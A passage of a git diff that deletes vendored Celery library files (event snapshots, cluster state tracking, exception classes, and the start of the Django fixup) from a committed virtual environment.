self.adjust_clock(clock) - - if localize: - try: - offset, timestamp = tzfields(body) - except KeyError: - pass - else: - body['timestamp'] = adjust_timestamp(timestamp, offset) - body['local_received'] = now() - return type, body - - def _receive(self, body, message, list=list, isinstance=isinstance): - if isinstance(body, list): # celery 4.0+: List of events - process, from_message = self.process, self.event_from_message - [process(*from_message(event)) for event in body] - else: - self.process(*self.event_from_message(body)) - - @property - def connection(self): - return self.channel.connection.client if self.channel else None diff --git a/venv/Lib/site-packages/celery/events/snapshot.py b/venv/Lib/site-packages/celery/events/snapshot.py deleted file mode 100644 index d4dd65b174f03752f82d9331844507d8dfe4aad5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/events/snapshot.py +++ /dev/null @@ -1,111 +0,0 @@ -"""Periodically store events in a database. - -Consuming the events as a stream isn't always suitable -so this module implements a system to take snapshots of the -state of a cluster at regular intervals. There's a full -implementation of this writing the snapshots to a database -in :mod:`djcelery.snapshots` in the `django-celery` distribution. -""" -from kombu.utils.limits import TokenBucket - -from celery import platforms -from celery.app import app_or_default -from celery.utils.dispatch import Signal -from celery.utils.imports import instantiate -from celery.utils.log import get_logger -from celery.utils.time import rate -from celery.utils.timer2 import Timer - -__all__ = ('Polaroid', 'evcam') - -logger = get_logger('celery.evcam') - - -class Polaroid: - """Record event snapshots.""" - - timer = None - shutter_signal = Signal(name='shutter_signal', providing_args={'state'}) - cleanup_signal = Signal(name='cleanup_signal') - clear_after = False - - _tref = None - _ctref = None - - def __init__(self, state, freq=1.0, maxrate=None, - cleanup_freq=3600.0, timer=None, app=None): - self.app = app_or_default(app) - self.state = state - self.freq = freq - self.cleanup_freq = cleanup_freq - self.timer = timer or self.timer or Timer() - self.logger = logger - self.maxrate = maxrate and TokenBucket(rate(maxrate)) - - def install(self): - self._tref = self.timer.call_repeatedly(self.freq, self.capture) - self._ctref = self.timer.call_repeatedly( - self.cleanup_freq, self.cleanup, - ) - - def on_shutter(self, state): - pass - - def on_cleanup(self): - pass - - def cleanup(self): - logger.debug('Cleanup: Running...') - self.cleanup_signal.send(sender=self.state) - self.on_cleanup() - - def shutter(self): - if self.maxrate is None or self.maxrate.can_consume(): - logger.debug('Shutter: %s', self.state) - self.shutter_signal.send(sender=self.state) - self.on_shutter(self.state) - - def capture(self): - self.state.freeze_while(self.shutter, clear_after=self.clear_after) - - def cancel(self): - if self._tref: - self._tref() # flush all received events. - self._tref.cancel() - if self._ctref: - self._ctref.cancel() - - def __enter__(self): - self.install() - return self - - def __exit__(self, *exc_info): - self.cancel() - - -def evcam(camera, freq=1.0, maxrate=None, loglevel=0, - logfile=None, pidfile=None, timer=None, app=None, - **kwargs): - """Start snapshot recorder.""" - app = app_or_default(app) - - if pidfile: - platforms.create_pidlock(pidfile) - - app.log.setup_logging_subsystem(loglevel, logfile) - - print(f'-> evcam: Taking snapshots with {camera} (every {freq} secs.)') - state = app.events.State() - cam = instantiate(camera, state, app=app, freq=freq, - maxrate=maxrate, timer=timer) - cam.install() - conn = app.connection_for_read() - recv = app.events.Receiver(conn, handlers={'*': state.event}) - try: - try: - recv.capture(limit=None) - except KeyboardInterrupt: - raise SystemExit - finally: - cam.cancel() - conn.close() diff --git a/venv/Lib/site-packages/celery/events/state.py b/venv/Lib/site-packages/celery/events/state.py deleted file mode 100644 index 3449991354aa97872971f073bdf939702348b72b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/events/state.py +++ /dev/null @@ -1,730 +0,0 @@ -"""In-memory representation of cluster state. - -This module implements a data-structure used to keep -track of the state of a cluster of workers and the tasks -it is working on (by consuming events). - -For every event consumed the state is updated, -so the state represents the state of the cluster -at the time of the last event. - -Snapshots (:mod:`celery.events.snapshot`) can be used to -take "pictures" of this state at regular intervals -to for example, store that in a database. -""" -import bisect -import sys -import threading -from collections import defaultdict -from collections.abc import Callable -from datetime import datetime -from decimal import Decimal -from itertools import islice -from operator import itemgetter -from time import time -from typing import Mapping, Optional # noqa -from weakref import WeakSet, ref - -from kombu.clocks import timetuple -from kombu.utils.objects import cached_property - -from celery import states -from celery.utils.functional import LRUCache, memoize, pass1 -from celery.utils.log import get_logger - -__all__ = ('Worker', 'Task', 'State', 'heartbeat_expires') - -# pylint: disable=redefined-outer-name -# We cache globals and attribute lookups, so disable this warning. -# pylint: disable=too-many-function-args -# For some reason pylint thinks ._event is a method, when it's a property. - -#: Set if running PyPy -PYPY = hasattr(sys, 'pypy_version_info') - -#: The window (in percentage) is added to the workers heartbeat -#: frequency. If the time between updates exceeds this window, -#: then the worker is considered to be offline. -HEARTBEAT_EXPIRE_WINDOW = 200 - -#: Max drift between event timestamp and time of event received -#: before we alert that clocks may be unsynchronized. -HEARTBEAT_DRIFT_MAX = 16 - -DRIFT_WARNING = ( - "Substantial drift from %s may mean clocks are out of sync. Current drift is " - "%s seconds. [orig: %s recv: %s]" -) - -logger = get_logger(__name__) -warn = logger.warning - -R_STATE = '' -R_WORKER = '>> add_tasks = state.tasks_by_type['proj.tasks.add'] - - while still supporting the method call:: - - >>> add_tasks = list(state.tasks_by_type( - ... 'proj.tasks.add', reverse=True)) - """ - - def __init__(self, fun, *args, **kwargs): - self.fun = fun - super().__init__(*args, **kwargs) - - def __call__(self, *args, **kwargs): - return self.fun(*args, **kwargs) - - -Callable.register(CallableDefaultdict) - - -@memoize(maxsize=1000, keyfun=lambda a, _: a[0]) -def _warn_drift(hostname, drift, local_received, timestamp): - # we use memoize here so the warning is only logged once per hostname - warn(DRIFT_WARNING, hostname, drift, - datetime.fromtimestamp(local_received), - datetime.fromtimestamp(timestamp)) - - -def heartbeat_expires(timestamp, freq=60, - expire_window=HEARTBEAT_EXPIRE_WINDOW, - Decimal=Decimal, float=float, isinstance=isinstance): - """Return time when heartbeat expires.""" - # some json implementations returns decimal.Decimal objects, - # which aren't compatible with float. - freq = float(freq) if isinstance(freq, Decimal) else freq - if isinstance(timestamp, Decimal): - timestamp = float(timestamp) - return timestamp + (freq * (expire_window / 1e2)) - - -def _depickle_task(cls, fields): - return cls(**fields) - - -def with_unique_field(attr): - - def _decorate_cls(cls): - - def __eq__(this, other): - if isinstance(other, this.__class__): - return getattr(this, attr) == getattr(other, attr) - return NotImplemented - cls.__eq__ = __eq__ - - def __hash__(this): - return hash(getattr(this, attr)) - cls.__hash__ = __hash__ - - return cls - return _decorate_cls - - -@with_unique_field('hostname') -class Worker: - """Worker State.""" - - heartbeat_max = 4 - expire_window = HEARTBEAT_EXPIRE_WINDOW - - _fields = ('hostname', 'pid', 'freq', 'heartbeats', 'clock', - 'active', 'processed', 'loadavg', 'sw_ident', - 'sw_ver', 'sw_sys') - if not PYPY: # pragma: no cover - __slots__ = _fields + ('event', '__dict__', '__weakref__') - - def __init__(self, hostname=None, pid=None, freq=60, - heartbeats=None, clock=0, active=None, processed=None, - loadavg=None, sw_ident=None, sw_ver=None, sw_sys=None): - self.hostname = hostname - self.pid = pid - self.freq = freq - self.heartbeats = [] if heartbeats is None else heartbeats - self.clock = clock or 0 - self.active = active - self.processed = processed - self.loadavg = loadavg - self.sw_ident = sw_ident - self.sw_ver = sw_ver - self.sw_sys = sw_sys - self.event = self._create_event_handler() - - def __reduce__(self): - return self.__class__, (self.hostname, self.pid, self.freq, - self.heartbeats, self.clock, self.active, - self.processed, self.loadavg, self.sw_ident, - self.sw_ver, self.sw_sys) - - def _create_event_handler(self): - _set = object.__setattr__ - hbmax = self.heartbeat_max - heartbeats = self.heartbeats - hb_pop = self.heartbeats.pop - hb_append = self.heartbeats.append - - def event(type_, timestamp=None, - local_received=None, fields=None, - max_drift=HEARTBEAT_DRIFT_MAX, abs=abs, int=int, - insort=bisect.insort, len=len): - fields = fields or {} - for k, v in fields.items(): - _set(self, k, v) - if type_ == 'offline': - heartbeats[:] = [] - else: - if not local_received or not timestamp: - return - drift = abs(int(local_received) - int(timestamp)) - if drift > max_drift: - _warn_drift(self.hostname, drift, - local_received, timestamp) - if local_received: # pragma: no cover - hearts = len(heartbeats) - if hearts > hbmax - 1: - hb_pop(0) - if hearts and local_received > heartbeats[-1]: - hb_append(local_received) - else: - insort(heartbeats, local_received) - return event - - def update(self, f, **kw): - d = dict(f, **kw) if kw else f - for k, v in d.items(): - setattr(self, k, v) - - def __repr__(self): - return R_WORKER.format(self) - - @property - def status_string(self): - return 'ONLINE' if self.alive else 'OFFLINE' - - @property - def heartbeat_expires(self): - return heartbeat_expires(self.heartbeats[-1], - self.freq, self.expire_window) - - @property - def alive(self, nowfun=time): - return bool(self.heartbeats and nowfun() < self.heartbeat_expires) - - @property - def id(self): - return '{0.hostname}.{0.pid}'.format(self) - - -@with_unique_field('uuid') -class Task: - """Task State.""" - - name = received = sent = started = succeeded = failed = retried = \ - revoked = rejected = args = kwargs = eta = expires = retries = \ - worker = result = exception = timestamp = runtime = traceback = \ - exchange = routing_key = root_id = parent_id = client = None - state = states.PENDING - clock = 0 - - _fields = ( - 'uuid', 'name', 'state', 'received', 'sent', 'started', 'rejected', - 'succeeded', 'failed', 'retried', 'revoked', 'args', 'kwargs', - 'eta', 'expires', 'retries', 'worker', 'result', 'exception', - 'timestamp', 'runtime', 'traceback', 'exchange', 'routing_key', - 'clock', 'client', 'root', 'root_id', 'parent', 'parent_id', - 'children', - ) - if not PYPY: # pragma: no cover - __slots__ = ('__dict__', '__weakref__') - - #: How to merge out of order events. - #: Disorder is detected by logical ordering (e.g., :event:`task-received` - #: must've happened before a :event:`task-failed` event). - #: - #: A merge rule consists of a state and a list of fields to keep from - #: that state. ``(RECEIVED, ('name', 'args')``, means the name and args - #: fields are always taken from the RECEIVED state, and any values for - #: these fields received before or after is simply ignored. - merge_rules = { - states.RECEIVED: ( - 'name', 'args', 'kwargs', 'parent_id', - 'root_id', 'retries', 'eta', 'expires', - ), - } - - #: meth:`info` displays these fields by default. - _info_fields = ( - 'args', 'kwargs', 'retries', 'result', 'eta', 'runtime', - 'expires', 'exception', 'exchange', 'routing_key', - 'root_id', 'parent_id', - ) - - def __init__(self, uuid=None, cluster_state=None, children=None, **kwargs): - self.uuid = uuid - self.cluster_state = cluster_state - if self.cluster_state is not None: - self.children = WeakSet( - self.cluster_state.tasks.get(task_id) - for task_id in children or () - if task_id in self.cluster_state.tasks - ) - else: - self.children = WeakSet() - self._serializer_handlers = { - 'children': self._serializable_children, - 'root': self._serializable_root, - 'parent': self._serializable_parent, - } - if kwargs: - self.__dict__.update(kwargs) - - def event(self, type_, timestamp=None, local_received=None, fields=None, - precedence=states.precedence, setattr=setattr, - task_event_to_state=TASK_EVENT_TO_STATE.get, RETRY=states.RETRY): - fields = fields or {} - - # using .get is faster than catching KeyError in this case. - state = task_event_to_state(type_) - if state is not None: - # sets, for example, self.succeeded to the timestamp. - setattr(self, type_, timestamp) - else: - state = type_.upper() # custom state - - # note that precedence here is reversed - # see implementation in celery.states.state.__lt__ - if state != RETRY and self.state != RETRY and \ - precedence(state) > precedence(self.state): - # this state logically happens-before the current state, so merge. - keep = self.merge_rules.get(state) - if keep is not None: - fields = { - k: v for k, v in fields.items() if k in keep - } - else: - fields.update(state=state, timestamp=timestamp) - - # update current state with info from this event. - self.__dict__.update(fields) - - def info(self, fields=None, extra=None): - """Information about this task suitable for on-screen display.""" - extra = [] if not extra else extra - fields = self._info_fields if fields is None else fields - - def _keys(): - for key in list(fields) + list(extra): - value = getattr(self, key, None) - if value is not None: - yield key, value - - return dict(_keys()) - - def __repr__(self): - return R_TASK.format(self) - - def as_dict(self): - get = object.__getattribute__ - handler = self._serializer_handlers.get - return { - k: handler(k, pass1)(get(self, k)) for k in self._fields - } - - def _serializable_children(self, value): - return [task.id for task in self.children] - - def _serializable_root(self, value): - return self.root_id - - def _serializable_parent(self, value): - return self.parent_id - - def __reduce__(self): - return _depickle_task, (self.__class__, self.as_dict()) - - @property - def id(self): - return self.uuid - - @property - def origin(self): - return self.client if self.worker is None else self.worker.id - - @property - def ready(self): - return self.state in states.READY_STATES - - @cached_property - def parent(self): - # issue github.com/mher/flower/issues/648 - try: - return self.parent_id and self.cluster_state.tasks.data[self.parent_id] - except KeyError: - return None - - @cached_property - def root(self): - # issue github.com/mher/flower/issues/648 - try: - return self.root_id and self.cluster_state.tasks.data[self.root_id] - except KeyError: - return None - - -class State: - """Records clusters state.""" - - Worker = Worker - Task = Task - event_count = 0 - task_count = 0 - heap_multiplier = 4 - - def __init__(self, callback=None, - workers=None, tasks=None, taskheap=None, - max_workers_in_memory=5000, max_tasks_in_memory=10000, - on_node_join=None, on_node_leave=None, - tasks_by_type=None, tasks_by_worker=None): - self.event_callback = callback - self.workers = (LRUCache(max_workers_in_memory) - if workers is None else workers) - self.tasks = (LRUCache(max_tasks_in_memory) - if tasks is None else tasks) - self._taskheap = [] if taskheap is None else taskheap - self.max_workers_in_memory = max_workers_in_memory - self.max_tasks_in_memory = max_tasks_in_memory - self.on_node_join = on_node_join - self.on_node_leave = on_node_leave - self._mutex = threading.Lock() - self.handlers = {} - self._seen_types = set() - self._tasks_to_resolve = {} - self.rebuild_taskheap() - - self.tasks_by_type = CallableDefaultdict( - self._tasks_by_type, WeakSet) # type: Mapping[str, WeakSet[Task]] - self.tasks_by_type.update( - _deserialize_Task_WeakSet_Mapping(tasks_by_type, self.tasks)) - - self.tasks_by_worker = CallableDefaultdict( - self._tasks_by_worker, WeakSet) # type: Mapping[str, WeakSet[Task]] - self.tasks_by_worker.update( - _deserialize_Task_WeakSet_Mapping(tasks_by_worker, self.tasks)) - - @cached_property - def _event(self): - return self._create_dispatcher() - - def freeze_while(self, fun, *args, **kwargs): - clear_after = kwargs.pop('clear_after', False) - with self._mutex: - try: - return fun(*args, **kwargs) - finally: - if clear_after: - self._clear() - - def clear_tasks(self, ready=True): - with self._mutex: - return self._clear_tasks(ready) - - def _clear_tasks(self, ready: bool = True): - if ready: - in_progress = { - uuid: task for uuid, task in self.itertasks() - if task.state not in states.READY_STATES - } - self.tasks.clear() - self.tasks.update(in_progress) - else: - self.tasks.clear() - self._taskheap[:] = [] - - def _clear(self, ready=True): - self.workers.clear() - self._clear_tasks(ready) - self.event_count = 0 - self.task_count = 0 - - def clear(self, ready: bool = True): - with self._mutex: - return self._clear(ready) - - def get_or_create_worker(self, hostname, **kwargs): - """Get or create worker by hostname. - - Returns: - Tuple: of ``(worker, was_created)`` pairs. - """ - try: - worker = self.workers[hostname] - if kwargs: - worker.update(kwargs) - return worker, False - except KeyError: - worker = self.workers[hostname] = self.Worker( - hostname, **kwargs) - return worker, True - - def get_or_create_task(self, uuid): - """Get or create task by uuid.""" - try: - return self.tasks[uuid], False - except KeyError: - task = self.tasks[uuid] = self.Task(uuid, cluster_state=self) - return task, True - - def event(self, event): - with self._mutex: - return self._event(event) - - def task_event(self, type_, fields): - """Deprecated, use :meth:`event`.""" - return self._event(dict(fields, type='-'.join(['task', type_])))[0] - - def worker_event(self, type_, fields): - """Deprecated, use :meth:`event`.""" - return self._event(dict(fields, type='-'.join(['worker', type_])))[0] - - def _create_dispatcher(self): - - # pylint: disable=too-many-statements - # This code is highly optimized, but not for reusability. - get_handler = self.handlers.__getitem__ - event_callback = self.event_callback - wfields = itemgetter('hostname', 'timestamp', 'local_received') - tfields = itemgetter('uuid', 'hostname', 'timestamp', - 'local_received', 'clock') - taskheap = self._taskheap - th_append = taskheap.append - th_pop = taskheap.pop - # Removing events from task heap is an O(n) operation, - # so easier to just account for the common number of events - # for each task (PENDING->RECEIVED->STARTED->final) - #: an O(n) operation - max_events_in_heap = self.max_tasks_in_memory * self.heap_multiplier - add_type = self._seen_types.add - on_node_join, on_node_leave = self.on_node_join, self.on_node_leave - tasks, Task = self.tasks, self.Task - workers, Worker = self.workers, self.Worker - # avoid updating LRU entry at getitem - get_worker, get_task = workers.data.__getitem__, tasks.data.__getitem__ - - get_task_by_type_set = self.tasks_by_type.__getitem__ - get_task_by_worker_set = self.tasks_by_worker.__getitem__ - - def _event(event, - timetuple=timetuple, KeyError=KeyError, - insort=bisect.insort, created=True): - self.event_count += 1 - if event_callback: - event_callback(self, event) - group, _, subject = event['type'].partition('-') - try: - handler = get_handler(group) - except KeyError: - pass - else: - return handler(subject, event), subject - - if group == 'worker': - try: - hostname, timestamp, local_received = wfields(event) - except KeyError: - pass - else: - is_offline = subject == 'offline' - try: - worker, created = get_worker(hostname), False - except KeyError: - if is_offline: - worker, created = Worker(hostname), False - else: - worker = workers[hostname] = Worker(hostname) - worker.event(subject, timestamp, local_received, event) - if on_node_join and (created or subject == 'online'): - on_node_join(worker) - if on_node_leave and is_offline: - on_node_leave(worker) - workers.pop(hostname, None) - return (worker, created), subject - elif group == 'task': - (uuid, hostname, timestamp, - local_received, clock) = tfields(event) - # task-sent event is sent by client, not worker - is_client_event = subject == 'sent' - try: - task, task_created = get_task(uuid), False - except KeyError: - task = tasks[uuid] = Task(uuid, cluster_state=self) - task_created = True - if is_client_event: - task.client = hostname - else: - try: - worker = get_worker(hostname) - except KeyError: - worker = workers[hostname] = Worker(hostname) - task.worker = worker - if worker is not None and local_received: - worker.event(None, local_received, timestamp) - - origin = hostname if is_client_event else worker.id - - # remove oldest event if exceeding the limit. - heaps = len(taskheap) - if heaps + 1 > max_events_in_heap: - th_pop(0) - - # most events will be dated later than the previous. - timetup = timetuple(clock, timestamp, origin, ref(task)) - if heaps and timetup > taskheap[-1]: - th_append(timetup) - else: - insort(taskheap, timetup) - - if subject == 'received': - self.task_count += 1 - task.event(subject, timestamp, local_received, event) - task_name = task.name - if task_name is not None: - add_type(task_name) - if task_created: # add to tasks_by_type index - get_task_by_type_set(task_name).add(task) - get_task_by_worker_set(hostname).add(task) - if task.parent_id: - try: - parent_task = self.tasks[task.parent_id] - except KeyError: - self._add_pending_task_child(task) - else: - parent_task.children.add(task) - try: - _children = self._tasks_to_resolve.pop(uuid) - except KeyError: - pass - else: - task.children.update(_children) - - return (task, task_created), subject - return _event - - def _add_pending_task_child(self, task): - try: - ch = self._tasks_to_resolve[task.parent_id] - except KeyError: - ch = self._tasks_to_resolve[task.parent_id] = WeakSet() - ch.add(task) - - def rebuild_taskheap(self, timetuple=timetuple): - heap = self._taskheap[:] = [ - timetuple(t.clock, t.timestamp, t.origin, ref(t)) - for t in self.tasks.values() - ] - heap.sort() - - def itertasks(self, limit: Optional[int] = None): - for index, row in enumerate(self.tasks.items()): - yield row - if limit and index + 1 >= limit: - break - - def tasks_by_time(self, limit=None, reverse: bool = True): - """Generator yielding tasks ordered by time. - - Yields: - Tuples of ``(uuid, Task)``. - """ - _heap = self._taskheap - if reverse: - _heap = reversed(_heap) - - seen = set() - for evtup in islice(_heap, 0, limit): - task = evtup[3]() - if task is not None: - uuid = task.uuid - if uuid not in seen: - yield uuid, task - seen.add(uuid) - tasks_by_timestamp = tasks_by_time - - def _tasks_by_type(self, name, limit=None, reverse=True): - """Get all tasks by type. - - This is slower than accessing :attr:`tasks_by_type`, - but will be ordered by time. - - Returns: - Generator: giving ``(uuid, Task)`` pairs. - """ - return islice( - ((uuid, task) for uuid, task in self.tasks_by_time(reverse=reverse) - if task.name == name), - 0, limit, - ) - - def _tasks_by_worker(self, hostname, limit=None, reverse=True): - """Get all tasks by worker. - - Slower than accessing :attr:`tasks_by_worker`, but ordered by time. - """ - return islice( - ((uuid, task) for uuid, task in self.tasks_by_time(reverse=reverse) - if task.worker.hostname == hostname), - 0, limit, - ) - - def task_types(self): - """Return a list of all seen task types.""" - return sorted(self._seen_types) - - def alive_workers(self): - """Return a list of (seemingly) alive workers.""" - return (w for w in self.workers.values() if w.alive) - - def __repr__(self): - return R_STATE.format(self) - - def __reduce__(self): - return self.__class__, ( - self.event_callback, self.workers, self.tasks, None, - self.max_workers_in_memory, self.max_tasks_in_memory, - self.on_node_join, self.on_node_leave, - _serialize_Task_WeakSet_Mapping(self.tasks_by_type), - _serialize_Task_WeakSet_Mapping(self.tasks_by_worker), - ) - - -def _serialize_Task_WeakSet_Mapping(mapping): - return {name: [t.id for t in tasks] for name, tasks in mapping.items()} - - -def _deserialize_Task_WeakSet_Mapping(mapping, tasks): - mapping = mapping or {} - return {name: WeakSet(tasks[i] for i in ids if i in tasks) - for name, ids in mapping.items()} diff --git a/venv/Lib/site-packages/celery/exceptions.py b/venv/Lib/site-packages/celery/exceptions.py deleted file mode 100644 index 3203e9f49eacfbe9f918522562a872bf9f74dc39..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/exceptions.py +++ /dev/null @@ -1,312 +0,0 @@ -"""Celery error types. - -Error Hierarchy -=============== - -- :exc:`Exception` - - :exc:`celery.exceptions.CeleryError` - - :exc:`~celery.exceptions.ImproperlyConfigured` - - :exc:`~celery.exceptions.SecurityError` - - :exc:`~celery.exceptions.TaskPredicate` - - :exc:`~celery.exceptions.Ignore` - - :exc:`~celery.exceptions.Reject` - - :exc:`~celery.exceptions.Retry` - - :exc:`~celery.exceptions.TaskError` - - :exc:`~celery.exceptions.QueueNotFound` - - :exc:`~celery.exceptions.IncompleteStream` - - :exc:`~celery.exceptions.NotRegistered` - - :exc:`~celery.exceptions.AlreadyRegistered` - - :exc:`~celery.exceptions.TimeoutError` - - :exc:`~celery.exceptions.MaxRetriesExceededError` - - :exc:`~celery.exceptions.TaskRevokedError` - - :exc:`~celery.exceptions.InvalidTaskError` - - :exc:`~celery.exceptions.ChordError` - - :exc:`~celery.exceptions.BackendError` - - :exc:`~celery.exceptions.BackendGetMetaError` - - :exc:`~celery.exceptions.BackendStoreError` - - :class:`kombu.exceptions.KombuError` - - :exc:`~celery.exceptions.OperationalError` - - Raised when a transport connection error occurs while - sending a message (be it a task, remote control command error). - - .. note:: - This exception does not inherit from - :exc:`~celery.exceptions.CeleryError`. - - **billiard errors** (prefork pool) - - :exc:`~celery.exceptions.SoftTimeLimitExceeded` - - :exc:`~celery.exceptions.TimeLimitExceeded` - - :exc:`~celery.exceptions.WorkerLostError` - - :exc:`~celery.exceptions.Terminated` -- :class:`UserWarning` - - :class:`~celery.exceptions.CeleryWarning` - - :class:`~celery.exceptions.AlwaysEagerIgnored` - - :class:`~celery.exceptions.DuplicateNodenameWarning` - - :class:`~celery.exceptions.FixupWarning` - - :class:`~celery.exceptions.NotConfigured` - - :class:`~celery.exceptions.SecurityWarning` -- :exc:`BaseException` - - :exc:`SystemExit` - - :exc:`~celery.exceptions.WorkerTerminate` - - :exc:`~celery.exceptions.WorkerShutdown` -""" - -import numbers - -from billiard.exceptions import SoftTimeLimitExceeded, Terminated, TimeLimitExceeded, WorkerLostError -from click import ClickException -from kombu.exceptions import OperationalError - -__all__ = ( - 'reraise', - # Warnings - 'CeleryWarning', - 'AlwaysEagerIgnored', 'DuplicateNodenameWarning', - 'FixupWarning', 'NotConfigured', 'SecurityWarning', - - # Core errors - 'CeleryError', - 'ImproperlyConfigured', 'SecurityError', - - # Kombu (messaging) errors. - 'OperationalError', - - # Task semi-predicates - 'TaskPredicate', 'Ignore', 'Reject', 'Retry', - - # Task related errors. - 'TaskError', 'QueueNotFound', 'IncompleteStream', - 'NotRegistered', 'AlreadyRegistered', 'TimeoutError', - 'MaxRetriesExceededError', 'TaskRevokedError', - 'InvalidTaskError', 'ChordError', - - # Backend related errors. - 'BackendError', 'BackendGetMetaError', 'BackendStoreError', - - # Billiard task errors. - 'SoftTimeLimitExceeded', 'TimeLimitExceeded', - 'WorkerLostError', 'Terminated', - - # Deprecation warnings (forcing Python to emit them). - 'CPendingDeprecationWarning', 'CDeprecationWarning', - - # Worker shutdown semi-predicates (inherits from SystemExit). - 'WorkerShutdown', 'WorkerTerminate', - - 'CeleryCommandException', -) - -from celery.utils.serialization import get_pickleable_exception - -UNREGISTERED_FMT = """\ -Task of kind {0} never registered, please make sure it's imported.\ -""" - - -def reraise(tp, value, tb=None): - """Reraise exception.""" - if value.__traceback__ is not tb: - raise value.with_traceback(tb) - raise value - - -class CeleryWarning(UserWarning): - """Base class for all Celery warnings.""" - - -class AlwaysEagerIgnored(CeleryWarning): - """send_task ignores :setting:`task_always_eager` option.""" - - -class DuplicateNodenameWarning(CeleryWarning): - """Multiple workers are using the same nodename.""" - - -class FixupWarning(CeleryWarning): - """Fixup related warning.""" - - -class NotConfigured(CeleryWarning): - """Celery hasn't been configured, as no config module has been found.""" - - -class SecurityWarning(CeleryWarning): - """Potential security issue found.""" - - -class CeleryError(Exception): - """Base class for all Celery errors.""" - - -class TaskPredicate(CeleryError): - """Base class for task-related semi-predicates.""" - - -class Retry(TaskPredicate): - """The task is to be retried later.""" - - #: Optional message describing context of retry. - message = None - - #: Exception (if any) that caused the retry to happen. - exc = None - - #: Time of retry (ETA), either :class:`numbers.Real` or - #: :class:`~datetime.datetime`. - when = None - - def __init__(self, message=None, exc=None, when=None, is_eager=False, - sig=None, **kwargs): - from kombu.utils.encoding import safe_repr - self.message = message - if isinstance(exc, str): - self.exc, self.excs = None, exc - else: - self.exc, self.excs = get_pickleable_exception(exc), safe_repr(exc) if exc else None - self.when = when - self.is_eager = is_eager - self.sig = sig - super().__init__(self, exc, when, **kwargs) - - def humanize(self): - if isinstance(self.when, numbers.Number): - return f'in {self.when}s' - return f'at {self.when}' - - def __str__(self): - if self.message: - return self.message - if self.excs: - return f'Retry {self.humanize()}: {self.excs}' - return f'Retry {self.humanize()}' - - def __reduce__(self): - return self.__class__, (self.message, self.exc, self.when) - - -RetryTaskError = Retry # XXX compat - - -class Ignore(TaskPredicate): - """A task can raise this to ignore doing state updates.""" - - -class Reject(TaskPredicate): - """A task can raise this if it wants to reject/re-queue the message.""" - - def __init__(self, reason=None, requeue=False): - self.reason = reason - self.requeue = requeue - super().__init__(reason, requeue) - - def __repr__(self): - return f'reject requeue={self.requeue}: {self.reason}' - - -class ImproperlyConfigured(CeleryError): - """Celery is somehow improperly configured.""" - - -class SecurityError(CeleryError): - """Security related exception.""" - - -class TaskError(CeleryError): - """Task related errors.""" - - -class QueueNotFound(KeyError, TaskError): - """Task routed to a queue not in ``conf.queues``.""" - - -class IncompleteStream(TaskError): - """Found the end of a stream of data, but the data isn't complete.""" - - -class NotRegistered(KeyError, TaskError): - """The task is not registered.""" - - def __repr__(self): - return UNREGISTERED_FMT.format(self) - - -class AlreadyRegistered(TaskError): - """The task is already registered.""" - # XXX Unused - - -class TimeoutError(TaskError): - """The operation timed out.""" - - -class MaxRetriesExceededError(TaskError): - """The tasks max restart limit has been exceeded.""" - - def __init__(self, *args, **kwargs): - self.task_args = kwargs.pop("task_args", []) - self.task_kwargs = kwargs.pop("task_kwargs", dict()) - super().__init__(*args, **kwargs) - - -class TaskRevokedError(TaskError): - """The task has been revoked, so no result available.""" - - -class InvalidTaskError(TaskError): - """The task has invalid data or ain't properly constructed.""" - - -class ChordError(TaskError): - """A task part of the chord raised an exception.""" - - -class CPendingDeprecationWarning(PendingDeprecationWarning): - """Warning of pending deprecation.""" - - -class CDeprecationWarning(DeprecationWarning): - """Warning of deprecation.""" - - -class WorkerTerminate(SystemExit): - """Signals that the worker should terminate immediately.""" - - -SystemTerminate = WorkerTerminate # XXX compat - - -class WorkerShutdown(SystemExit): - """Signals that the worker should perform a warm shutdown.""" - - -class BackendError(Exception): - """An issue writing or reading to/from the backend.""" - - -class BackendGetMetaError(BackendError): - """An issue reading from the backend.""" - - def __init__(self, *args, **kwargs): - self.task_id = kwargs.get('task_id', "") - - def __repr__(self): - return super().__repr__() + " task_id:" + self.task_id - - -class BackendStoreError(BackendError): - """An issue writing to the backend.""" - - def __init__(self, *args, **kwargs): - self.state = kwargs.get('state', "") - self.task_id = kwargs.get('task_id', "") - - def __repr__(self): - return super().__repr__() + " state:" + self.state + " task_id:" + self.task_id - - -class CeleryCommandException(ClickException): - """A general command exception which stores an exit code.""" - - def __init__(self, message, exit_code): - super().__init__(message=message) - self.exit_code = exit_code diff --git a/venv/Lib/site-packages/celery/fixups/__init__.py b/venv/Lib/site-packages/celery/fixups/__init__.py deleted file mode 100644 index c565ca34d61404a6c8e9586d2b1e78b7914719bf..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/fixups/__init__.py +++ /dev/null @@ -1 +0,0 @@ -"""Fixups.""" diff --git a/venv/Lib/site-packages/celery/fixups/django.py b/venv/Lib/site-packages/celery/fixups/django.py deleted file mode 100644 index 5d78b3816070878c3b5902965d35daeb3a79ed23..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/fixups/django.py +++ /dev/null @@ -1,246 +0,0 @@ -"""Django-specific customization.""" -import contextlib -import os -import sys -import warnings -from datetime import datetime, timezone -from importlib import import_module -from typing import IO, TYPE_CHECKING, Any, List, Optional, cast - -from kombu.utils.imports import symbol_by_name -from kombu.utils.objects import cached_property - -from celery import _state, signals -from celery.exceptions import FixupWarning, ImproperlyConfigured -from celery.worker import WorkController - -if TYPE_CHECKING: - from types import ModuleType - from typing import Protocol - - from django.db.backends.base.base import BaseDatabaseWrapper - from django.db.utils import ConnectionHandler - - from celery.app.base import Celery - from celery.app.task import Task - - class DjangoDBModule(Protocol): - connections: ConnectionHandler - - -__all__ = ('DjangoFixup', 'fixup') - -ERR_NOT_INSTALLED = """\ -Environment variable DJANGO_SETTINGS_MODULE is defined -but Django isn't installed. Won't apply Django fix-ups! -""" - - -def _maybe_close_fd(fh: IO) -> None: - try: - os.close(fh.fileno()) - except (AttributeError, OSError, TypeError): - # TypeError added for celery#962 - pass - - -def _verify_django_version(django: "ModuleType") -> None: - if django.VERSION < (1, 11): - raise ImproperlyConfigured('Celery 5.x requires Django 1.11 or later.') - - -def fixup(app: "Celery", env: str = 'DJANGO_SETTINGS_MODULE') -> Optional["DjangoFixup"]: - """Install Django fixup if settings module environment is set.""" - SETTINGS_MODULE = os.environ.get(env) - if SETTINGS_MODULE and 'django' not in app.loader_cls.lower(): - try: - import 